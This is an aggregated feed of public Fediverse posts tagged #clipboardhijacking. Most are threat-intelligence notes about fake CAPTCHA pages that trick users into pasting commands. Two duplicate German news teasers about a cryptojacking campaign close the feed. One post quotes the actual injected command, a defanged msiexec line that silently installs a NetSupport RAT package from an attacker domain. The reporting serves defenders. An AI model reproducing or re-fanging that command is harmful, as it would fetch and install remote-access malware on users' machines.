#clipboardhijacking — Public Fediverse posts
Live and recent posts from across the Fediverse tagged #clipboardhijacking, aggregated by home.social.
-
2025-09-22 (Monday): #SmartApeSG using #FileFix style #ClickFix technique on its fake CAPTCHA page.
While #KongTuke has reportedly used FileFix, this is the first time I've seen it from SmartApeSG sites.
#clipboardhijacking Script injected into clipboard:
msiexec /i hxxps[:]//founderevo[.]com/res/velvet ISLANDABSTRACT=surgewarfare.bat /qn
The downloaded file is an MSI for #NetSupportRAT
https://www.virustotal.com/gui/file/958586ab1865a61a4da6280cc9b3c69005611bf19df1e74b7c025f3c3aae3f7a
-
Social media post I wrote for my employer on other platforms.
2025-04-04 (Friday): Injected #KongTuke script in pages from legitimate but compromised websites leads to fake #CAPTCHA style pages and #ClipboardHijacking (#pastejacking). These pages ask users to paste script into a Run window. Latest info at
Information from an infection run earlier today at https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-04-04-IOCs-forKongTuke-web-inject-leading-to-fake-CAPTHA-page.txt
Of note, we can find legitimate websites with the injected hashtag#KongTuke script by pivoting on the KongTuke domain in URLscan:
-
📬 Krypto-Diebstahl durch Malware: Cryptojacking-Kampagne kassiert über 300.000 US-Dollar
#Cyberangriffe #Krypto #Malware #ClipboardHijacking #Cryptojacking #KryptoDiebstahl #MassJacker #Solana https://sc.tarnkappe.info/7c6ee7 -
📬 Krypto-Diebstahl durch Malware: Cryptojacking-Kampagne kassiert über 300.000 US-Dollar
#Cyberangriffe #Krypto #Malware #ClipboardHijacking #Cryptojacking #KryptoDiebstahl #MassJacker #Solana https://sc.tarnkappe.info/7c6ee7